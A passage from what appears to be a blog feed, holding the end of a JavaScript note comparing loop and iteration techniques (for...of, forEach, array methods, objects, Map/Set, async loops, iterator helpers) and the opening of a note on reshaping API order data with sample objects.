&lt;td&gt;reads well; &lt;code&gt;break&lt;/code&gt;, &lt;code&gt;continue&lt;/code&gt; and &lt;code&gt;await&lt;/code&gt; work; works on any iterable (arrays, strings, &lt;code&gt;Map&lt;/code&gt;, &lt;code&gt;Set&lt;/code&gt;, &lt;code&gt;NodeList&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;no index unless you use &lt;code&gt;.entries()&lt;/code&gt;; doesn&apos;t work on plain objects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;for&lt;/code&gt; (with &lt;code&gt;i&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;full control: step size, direction, look ahead; safe to remove items when going backwards&lt;/td&gt;
&lt;td&gt;more to write, and easy to get the start or end wrong by one&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;forEach&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;short; gives you the item and the index&lt;/td&gt;
&lt;td&gt;can&apos;t stop early; doesn&apos;t wait for &lt;code&gt;async&lt;/code&gt; callbacks; returns nothing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, &lt;code&gt;reduce&lt;/code&gt;…&lt;/td&gt;
&lt;td&gt;say what you want in one word; return a new array without changing the original; chain together&lt;/td&gt;
&lt;td&gt;always visit every item; each step builds a new array; &lt;code&gt;reduce&lt;/code&gt; can be hard to read&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;find&lt;/code&gt;, &lt;code&gt;some&lt;/code&gt;, &lt;code&gt;every&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;stop at the first answer&lt;/td&gt;
&lt;td&gt;only answer one question each&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;for...in&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;the only loop that goes through an object&apos;s keys directly&lt;/td&gt;
&lt;td&gt;includes inherited keys; keys are always strings; wrong for arrays&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Object.keys&lt;/code&gt; / &lt;code&gt;values&lt;/code&gt; / &lt;code&gt;entries&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;own keys only; give you an array, so every array method works&lt;/td&gt;
&lt;td&gt;make a new array first&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;while&lt;/code&gt;, &lt;code&gt;do...while&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;for when you don&apos;t know how many times the loop will run&lt;/td&gt;
&lt;td&gt;easy to write a loop that never ends&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;for await...of&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;loops over values that arrive over time (streams, paginated APIs)&lt;/td&gt;
&lt;td&gt;one at a time, so slower than &lt;code&gt;Promise.all&lt;/code&gt; when the items don&apos;t depend on each other&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Iterator helpers (&lt;code&gt;.values().filter()…&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;lazy: no array built at each step; &lt;code&gt;take&lt;/code&gt; stops early&lt;/td&gt;
&lt;td&gt;newer (Baseline 2025); fewer methods than arrays (no &lt;code&gt;sort&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Recursion&lt;/td&gt;
&lt;td&gt;the clearest code for trees and nested data&lt;/td&gt;
&lt;td&gt;deep data can run out of stack; see &lt;a href=&quot;/notes/recursion/&quot;&gt;Recursion&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Arrays&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;for...of&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The default loop. It gives you each &lt;strong&gt;value&lt;/strong&gt;, and &lt;code&gt;break&lt;/code&gt;, &lt;code&gt;continue&lt;/code&gt;, &lt;code&gt;return&lt;/code&gt; and &lt;code&gt;await&lt;/code&gt; all work inside it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const fruits = [&apos;apple&apos;, &apos;banana&apos;, &apos;cherry&apos;]

for (const fruit of fruits) {
  if (fruit === &apos;banana&apos;) continue
  console.log(fruit)
}

// with the index
for (const [index, fruit] of fruits.entries()) {
  console.log(index, fruit)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Plain &lt;code&gt;for&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Use it when you need control over the index: stepping by 2, going backwards, or looking at the next item.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (let i = 0; i &amp;lt; fruits.length; i++) {
  console.log(i, fruits[i])
}

for (let i = fruits.length - 1; i &amp;gt;= 0; i--) {
  // backwards, safe to remove items with splice as you go
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;forEach&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Runs a function for each item and returns nothing. You &lt;strong&gt;can&apos;t&lt;/strong&gt; &lt;code&gt;break&lt;/code&gt; out of it, and it doesn&apos;t wait for &lt;code&gt;async&lt;/code&gt; callbacks (see &lt;a href=&quot;#async-loops&quot;&gt;Async loops&lt;/a&gt;). If you want a result, use &lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt; or &lt;code&gt;reduce&lt;/code&gt;. If you want to stop early, use &lt;code&gt;for...of&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fruits.forEach((fruit, index) =&amp;gt; {
  console.log(index, fruit)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Array methods&lt;/h3&gt;
&lt;p&gt;Most of the time you don&apos;t need a loop at all. The array methods say what you want in one word:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const prices = [80, 12, 240, 6]

prices.map((price) =&amp;gt; price * 1.2) // change each item
prices.filter((price) =&amp;gt; price &amp;gt; 10) // keep some
prices.reduce((total, price) =&amp;gt; total + price, 0) // combine into one value
prices.find((price) =&amp;gt; price &amp;gt; 100) // first match, then stop
prices.some((price) =&amp;gt; price &amp;gt; 200) // true/false, stops at the first true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Full list in &lt;a href=&quot;/notes/array-methods/&quot;&gt;Array methods&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Don&apos;t use &lt;code&gt;for...in&lt;/code&gt; on arrays&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;for...in&lt;/code&gt; gives you the &lt;strong&gt;keys&lt;/strong&gt; as strings (&lt;code&gt;&apos;0&apos;&lt;/code&gt;, &lt;code&gt;&apos;1&apos;&lt;/code&gt;…), not the values. It also includes any extra enumerable properties added to the array or its prototype.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (const key in [&apos;a&apos;, &apos;b&apos;]) {
  console.log(typeof key) // &apos;string&apos;, twice
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Stopping early&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Loop&lt;/th&gt;
&lt;th&gt;Can stop early?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;for&lt;/code&gt;, &lt;code&gt;for...of&lt;/code&gt;, &lt;code&gt;while&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;yes: &lt;code&gt;break&lt;/code&gt; or &lt;code&gt;return&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;find&lt;/code&gt;, &lt;code&gt;findIndex&lt;/code&gt;, &lt;code&gt;some&lt;/code&gt;, &lt;code&gt;every&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;yes: they stop at the first answer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;forEach&lt;/code&gt;, &lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, &lt;code&gt;reduce&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;no: they always visit every item&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;To search, use &lt;code&gt;find&lt;/code&gt; or &lt;code&gt;some&lt;/code&gt;. Don&apos;t throw an error to get out of &lt;code&gt;forEach&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Objects&lt;/h2&gt;
&lt;p&gt;Objects aren&apos;t iterable, so &lt;code&gt;for...of&lt;/code&gt; doesn&apos;t work on them directly. Turn them into an array first:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const stock = { apples: 5, pears: 0, plums: 12 }

Object.keys(stock) // [&apos;apples&apos;, &apos;pears&apos;, &apos;plums&apos;]
Object.values(stock) // [5, 0, 12]
Object.entries(stock) // [[&apos;apples&apos;, 5], [&apos;pears&apos;, 0], [&apos;plums&apos;, 12]]

for (const [fruit, count] of Object.entries(stock)) {
  console.log(`${fruit}: ${count}`)
}

const inStock = Object.entries(stock)
  .filter(([, count]) =&amp;gt; count &amp;gt; 0)
  .map(([fruit]) =&amp;gt; fruit) // [&apos;apples&apos;, &apos;plums&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To change the values and keep an object, go through &lt;code&gt;entries&lt;/code&gt; and back with &lt;code&gt;Object.fromEntries&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const doubled = Object.fromEntries(Object.entries(stock).map(([fruit, count]) =&amp;gt; [fruit, count * 2]))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;for...in&lt;/code&gt; on objects&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;for...in&lt;/code&gt; loops over an object&apos;s keys, &lt;strong&gt;including inherited ones&lt;/strong&gt; from its prototype. &lt;code&gt;Object.entries&lt;/code&gt; and &lt;code&gt;Object.keys&lt;/code&gt; only return the object&apos;s own keys, so prefer them. If you do use &lt;code&gt;for...in&lt;/code&gt;, guard it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (const key in stock) {
  if (!Object.hasOwn(stock, key)) continue
  console.log(key, stock[key])
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Key order&lt;/h3&gt;
&lt;p&gt;Object keys come back in this order: integer-like keys (&lt;code&gt;&apos;1&apos;&lt;/code&gt;, &lt;code&gt;&apos;42&apos;&lt;/code&gt;) in number order first, then string keys in the order they were added. If the order matters and your keys look like numbers, use a &lt;code&gt;Map&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Keys the usual methods skip&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Object.keys&lt;/code&gt;, &lt;code&gt;values&lt;/code&gt;, &lt;code&gt;entries&lt;/code&gt; and &lt;code&gt;for...in&lt;/code&gt; only see &lt;strong&gt;enumerable string&lt;/strong&gt; keys. Two other methods see more:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const id = Symbol(&apos;id&apos;)
const user = { name: &apos;Ada&apos;, [id]: 42 }
Object.defineProperty(user, &apos;secret&apos;, { value: &apos;x&apos;, enumerable: false })

Object.keys(user) // [&apos;name&apos;]
Object.getOwnPropertyNames(user) // [&apos;name&apos;, &apos;secret&apos;] (non-enumerable too)
Reflect.ownKeys(user) // [&apos;name&apos;, &apos;secret&apos;, Symbol(id)] (symbols too)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You rarely need these outside library code.&lt;/p&gt;
&lt;h3&gt;Nested objects&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Object.entries&lt;/code&gt; only goes one level deep. To reach every value in a nested object, the function calls itself on each value that is itself an object. This one flattens a nested object into dotted paths:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const settings = {
  theme: { colour: &apos;teal&apos;, font: { size: 16, family: &apos;Inter&apos; } },
  sounds: false,
}

const isObject = (value) =&amp;gt; value !== null &amp;amp;&amp;amp; typeof value === &apos;object&apos; &amp;amp;&amp;amp; !Array.isArray(value)

function flattenObject(obj, prefix = &apos;&apos;) {
  const result = {}
  for (const [key, value] of Object.entries(obj)) {
    const path = prefix ? `${prefix}.${key}` : key
    if (isObject(value)) {
      Object.assign(result, flattenObject(value, path))
    } else {
      result[path] = value
    }
  }
  return result
}

flattenObject(settings)
// { &apos;theme.colour&apos;: &apos;teal&apos;, &apos;theme.font.size&apos;: 16, &apos;theme.font.family&apos;: &apos;Inter&apos;, sounds: false }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dotted paths are handy for forms, translation files and comparing two sets of settings.&lt;/p&gt;
&lt;p&gt;The same walk without recursion keeps a list of objects still to visit (a stack). Take one off, look at its entries, and push any child objects back on. It has no depth limit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function flattenObjectWithStack(obj) {
  const result = {}
  const stack = [[&apos;&apos;, obj]]
  while (stack.length &amp;gt; 0) {
    const [prefix, current] = stack.pop()
    for (const [key, value] of Object.entries(current)) {
      const path = prefix ? `${prefix}.${key}` : key
      if (isObject(value)) {
        stack.push([path, value])
      } else {
        result[path] = value
      }
    }
  }
  return result
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The keys can come out in a different order, because the stack visits the last child object first. More patterns for nested data are in &lt;a href=&quot;/notes/recursion/&quot;&gt;Recursion&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;Map&lt;/code&gt; and &lt;code&gt;Set&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Both are iterable, and they keep the order you added items in.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const ages = new Map([
  [&apos;Ada&apos;, 36],
  [&apos;Bram&apos;, 29],
])

for (const [name, age] of ages) {
  console.log(name, age)
}

ages.keys() // iterator of names
ages.values() // iterator of ages

const tags = new Set([&apos;css&apos;, &apos;js&apos;, &apos;css&apos;])
for (const tag of tags) {
  console.log(tag) // &apos;css&apos;, &apos;js&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;keys()&lt;/code&gt;, &lt;code&gt;values()&lt;/code&gt; and &lt;code&gt;entries()&lt;/code&gt; return &lt;strong&gt;iterators&lt;/strong&gt;, not arrays. Spread them (&lt;code&gt;[...ages.values()]&lt;/code&gt;) or use the &lt;a href=&quot;#iterator-helpers&quot;&gt;iterator helpers&lt;/a&gt; below to get array-like methods.&lt;/p&gt;
&lt;p&gt;Careful with &lt;code&gt;forEach&lt;/code&gt; on a &lt;code&gt;Map&lt;/code&gt;: the callback gets &lt;code&gt;(value, key)&lt;/code&gt;, the other way round from &lt;code&gt;entries&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Strings&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;for...of&lt;/code&gt; goes through a string by &lt;strong&gt;code point&lt;/strong&gt;, so emoji and other characters outside the basic range stay whole. An index loop splits them in half:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const text = &apos;hi 👋&apos;

text.length // 5, because 👋 is two UTF-16 units
;[...text] // [&apos;h&apos;, &apos;i&apos;, &apos; &apos;, &apos;👋&apos;]

for (const char of text) {
  console.log(char)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Some emoji are several code points joined together (👨‍👩‍👧, flags). To split text into the characters a person sees, use &lt;code&gt;Intl.Segmenter&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const segmenter = new Intl.Segmenter(&apos;en&apos;, { granularity: &apos;grapheme&apos; })
const chars = [...segmenter.segment(&apos;👨‍👩‍👧!&apos;)].map((s) =&amp;gt; s.segment) // [&apos;👨‍👩‍👧&apos;, &apos;!&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;DOM lists and array-like things&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;querySelectorAll&lt;/code&gt; returns a &lt;code&gt;NodeList&lt;/code&gt;. It&apos;s iterable and has &lt;code&gt;forEach&lt;/code&gt;, but no &lt;code&gt;map&lt;/code&gt; or &lt;code&gt;filter&lt;/code&gt;. Use &lt;code&gt;for...of&lt;/code&gt;, or turn it into an array with &lt;code&gt;Array.from&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (const link of document.querySelectorAll(&apos;a&apos;)) {
  link.rel = &apos;noopener&apos;
}

const hrefs = Array.from(document.querySelectorAll(&apos;a&apos;), (link) =&amp;gt; link.href)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Array.from&lt;/code&gt; takes an optional map function as its second argument, so the example above makes the array and maps it in one step. It also builds arrays from nothing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Array.from({ length: 5 }, (_, i) =&amp;gt; i * 10) // [0, 10, 20, 30, 40]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Static methods that go through a list&lt;/h2&gt;
&lt;p&gt;Some built-in functions aren&apos;t array methods but still take a whole list (any iterable) and go through it for you:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Takes&lt;/th&gt;
&lt;th&gt;Returns&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Array.from(iterable, mapFn?)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;any iterable or array-like&lt;/td&gt;
&lt;td&gt;a new array&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Array.fromAsync(asyncIterable)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;an async iterable&lt;/td&gt;
&lt;td&gt;a promise of an array&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Object.fromEntries(pairs)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[key, value]&lt;/code&gt; pairs&lt;/td&gt;
&lt;td&gt;an object&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Object.groupBy(items, fn)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;any iterable&lt;/td&gt;
&lt;td&gt;an object of arrays, one per group&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Map.groupBy(items, fn)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;any iterable&lt;/td&gt;
&lt;td&gt;a &lt;code&gt;Map&lt;/code&gt; of arrays, one per group&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;new Map(pairs)&lt;/code&gt;, &lt;code&gt;new Set(items)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;any iterable&lt;/td&gt;
&lt;td&gt;a &lt;code&gt;Map&lt;/code&gt; or &lt;code&gt;Set&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Promise.all(promises)&lt;/code&gt; and friends&lt;/td&gt;
&lt;td&gt;an iterable of promises&lt;/td&gt;
&lt;td&gt;one promise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Iterator.from(iterable)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;any iterable&lt;/td&gt;
&lt;td&gt;an iterator with the helpers below&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;Object.keys&lt;/code&gt;, &lt;code&gt;Object.values&lt;/code&gt; and &lt;code&gt;Object.entries&lt;/code&gt; go the other way: they turn an object &lt;strong&gt;into&lt;/strong&gt; an array you can loop over. More on grouping in &lt;a href=&quot;/notes/object-groupby/&quot;&gt;Object.groupBy&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Async loops&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;forEach&lt;/code&gt; doesn&apos;t wait for promises. It starts every callback and moves on, so the code after it runs before any of them finish:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// wrong: &quot;done&quot; logs before any user is saved
users.forEach(async (user) =&amp;gt; {
  await save(user)
})
console.log(&apos;done&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;for...of&lt;/code&gt; to go &lt;strong&gt;one at a time&lt;/strong&gt;, or &lt;code&gt;Promise.all&lt;/code&gt; to run them &lt;strong&gt;all at once&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// one after another
for (const user of users) {
  await save(user)
}

// in parallel, and wait for all of them
await Promise.all(users.map((user) =&amp;gt; save(user)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;Promise.allSettled&lt;/code&gt; if one failure shouldn&apos;t stop the others.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;for await...of&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Loops over an &lt;strong&gt;async iterable&lt;/strong&gt;: values that arrive over time. In Node, a file read line by line is one:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { createReadStream } from &apos;node:fs&apos;
import { createInterface } from &apos;node:readline&apos;

const lines = createInterface({ input: createReadStream(&apos;access.log&apos;) })

for await (const line of lines) {
  if (line.includes(&apos; 500 &apos;)) console.log(line)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It also works on an array of promises, one result at a time in order. But &lt;code&gt;Promise.all&lt;/code&gt; is usually clearer for that.&lt;/p&gt;
&lt;p&gt;For paginated APIs where you don&apos;t know how many pages there are, a &lt;code&gt;while&lt;/code&gt; loop is simpler. See &lt;a href=&quot;#while-and-dowhile&quot;&gt;&lt;code&gt;while&lt;/code&gt; and &lt;code&gt;do...while&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;The iteration protocol&lt;/h2&gt;
&lt;p&gt;Anything with a &lt;code&gt;[Symbol.iterator]&lt;/code&gt; method is &lt;strong&gt;iterable&lt;/strong&gt;, so &lt;code&gt;for...of&lt;/code&gt;, spread (&lt;code&gt;...&lt;/code&gt;), destructuring, &lt;code&gt;Array.from&lt;/code&gt;, &lt;code&gt;new Set&lt;/code&gt; and the rest all work with it. Arrays, strings, &lt;code&gt;Map&lt;/code&gt;s, &lt;code&gt;Set&lt;/code&gt;s, &lt;code&gt;NodeList&lt;/code&gt;s and &lt;code&gt;arguments&lt;/code&gt; all have one. Plain objects don&apos;t.&lt;/p&gt;
&lt;p&gt;To make your own class iterable, give it a &lt;code&gt;[Symbol.iterator]&lt;/code&gt; method. The easiest way is to hand back the iterator of an array it already holds:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Playlist {
  #songs = []

  add(song) {
    this.#songs.push(song)
  }

  [Symbol.iterator]() {
    return this.#songs[Symbol.iterator]()
  }
}

const playlist = new Playlist()
playlist.add(&apos;Song A&apos;)
playlist.add(&apos;Song B&apos;)

for (const song of playlist) console.log(song)
const songs = [...playlist] // [&apos;Song A&apos;, &apos;Song B&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For a range of numbers, &lt;code&gt;Array.from({ length }, fn)&lt;/code&gt; from &lt;a href=&quot;#dom-lists-and-array-like-things&quot;&gt;DOM lists and array-like things&lt;/a&gt; does the job.&lt;/p&gt;
&lt;h2&gt;Iterator helpers&lt;/h2&gt;
&lt;p&gt;Iterators now have their own &lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, &lt;code&gt;take&lt;/code&gt;, &lt;code&gt;drop&lt;/code&gt;, &lt;code&gt;flatMap&lt;/code&gt;, &lt;code&gt;reduce&lt;/code&gt;, &lt;code&gt;toArray&lt;/code&gt;, &lt;code&gt;forEach&lt;/code&gt;, &lt;code&gt;some&lt;/code&gt;, &lt;code&gt;every&lt;/code&gt; and &lt;code&gt;find&lt;/code&gt; (Baseline 2025). They&apos;re &lt;strong&gt;lazy&lt;/strong&gt;: each item goes through the whole chain before the next one starts, and nothing extra is built.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Map values, without spreading into an array first
const adults = ages
  .values()
  .filter((age) =&amp;gt; age &amp;gt;= 18)
  .toArray()

// the first 2 names in a Set, and stop there
const firstTwo = tags.values().take(2).toArray()

// any iterable, through Iterator.from
const upper = Iterator.from(document.querySelectorAll(&apos;h2&apos;))
  .map((heading) =&amp;gt; heading.textContent.toUpperCase())
  .toArray()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Array methods would build a whole new array at every step. Iterator helpers don&apos;t, which matters for big sources. For a normal array, the array methods are simpler.&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;while&lt;/code&gt; and &lt;code&gt;do...while&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Use them when you don&apos;t know how many times the loop will run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let url = &apos;/api/posts&apos;
while (url) {
  const res = await fetch(url)
  const page = await res.json()
  url = page.next
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;do...while&lt;/code&gt; always runs the body at least once.&lt;/p&gt;
&lt;h2&gt;Trees and nested data&lt;/h2&gt;
&lt;p&gt;Loops go through one level. For nested data (folders, comments, menus), call a function on each child, or use a loop with your own stack. Both are in &lt;a href=&quot;/notes/recursion/&quot;&gt;Recursion&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Performance&lt;/h2&gt;
&lt;p&gt;In current engines, &lt;code&gt;for&lt;/code&gt;, &lt;code&gt;for...of&lt;/code&gt; and &lt;code&gt;forEach&lt;/code&gt; are all fast, and which is fastest changes between browsers and versions. Pick the one that reads best. Measure only when a loop is actually slow.&lt;/p&gt;
&lt;p&gt;Things that do make a difference:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;find&lt;/code&gt; inside another loop is O(n²). Make a &lt;code&gt;Map&lt;/code&gt; first, then look items up. See &lt;a href=&quot;/notes/js-data-transformation/&quot;&gt;Reshaping data&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Chaining &lt;code&gt;filter().map().slice(0, 5)&lt;/code&gt; on a huge array does all the work before &lt;code&gt;slice&lt;/code&gt; throws most of it away. Stop early with a &lt;code&gt;for...of&lt;/code&gt; and &lt;code&gt;break&lt;/code&gt;, or use iterator helpers with &lt;code&gt;take&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Don&apos;t use &lt;code&gt;for...in&lt;/code&gt; on arrays. It&apos;s slow as well as wrong.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>javascript</category><category>cheatsheet</category><category>interview</category><author>Zander Martineau</author></item><item><title>Reshaping data in JavaScript</title><link>https://zander.wtf/notes/js-data-transformation/</link><guid isPermaLink="true">https://zander.wtf/notes/js-data-transformation/</guid><description>Data from an API almost never arrives in the shape your UI wants. A list needs grouping, two endpoints need joining, a keyed object needs to become an…</description><pubDate>Wed, 30 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Data from an API almost never arrives in the shape your UI wants. A list needs grouping, two endpoints need joining, a keyed object needs to become an array you can &lt;code&gt;.map()&lt;/code&gt; over in React. This note collects the array, object, &lt;code&gt;Map&lt;/code&gt; and &lt;code&gt;Set&lt;/code&gt; methods I reach for to get data from the shape it &lt;em&gt;is&lt;/em&gt; to the shape I &lt;em&gt;need&lt;/em&gt; — with realistic examples rather than &lt;code&gt;[1, 2, 3]&lt;/code&gt; toys.&lt;/p&gt;
&lt;p&gt;Every method here returns a &lt;strong&gt;new&lt;/strong&gt; value rather than mutating the original. That&apos;s exactly what you want in a React component: derive what you render from props/state, never edit the source.&lt;/p&gt;
&lt;p&gt;But &quot;new&quot; means a &lt;strong&gt;shallow&lt;/strong&gt; copy. &lt;code&gt;{ ...order }&lt;/code&gt; is a new object, yet any nested object or array inside it is still shared with the original. Change &lt;code&gt;copy.customer.name&lt;/code&gt; and you&apos;ve changed the source too. Spread each level you change, or use &lt;code&gt;structuredClone(value)&lt;/code&gt; for a full deep copy.&lt;/p&gt;
&lt;h2&gt;The sample data&lt;/h2&gt;
&lt;p&gt;One dataset for the whole note — pretend it came back from &lt;code&gt;GET /orders&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const orders = [
  {
    id: 1,
    customer: &apos;Ada&apos;,
    product: &apos;Keyboard&apos;,
    category: &apos;tech&apos;,
    price: 80,
    status: &apos;shipped&apos;,
  },
  {
    id: 2,
    customer: &apos;Bram&apos;,
    product: &apos;Mug&apos;,
    category: &apos;home&apos;,
    price: 12,
    status: &apos;pending&apos;,
  },
  {
    id: 3,
    customer: &apos;Ada&apos;,
    product: &apos;Monitor&apos;,
    category: &apos;tech&apos;,
    price: 240,
    status: &apos;shipped&apos;,
  },
  {
    id: 4,
    customer: &apos;Cleo&apos;,
    product: &apos;Notebook&apos;,
    category: &apos;office&apos;,
    price: 6,
    status: &apos;cancelled&apos;,
  },
  {
    id: 5,
    customer: &apos;Bram&apos;,
    product: &apos;Desk&apos;,
    category: &apos;home&apos;,
    price: 320,
    status: &apos;shipped&apos;,
  },
  {
    id: 6,
    customer: &apos;Ada&apos;,
    product: &apos;Cable&apos;,
    category: &apos;tech&apos;,
    price: 9,
    status: &apos;pending&apos;,
  },
]
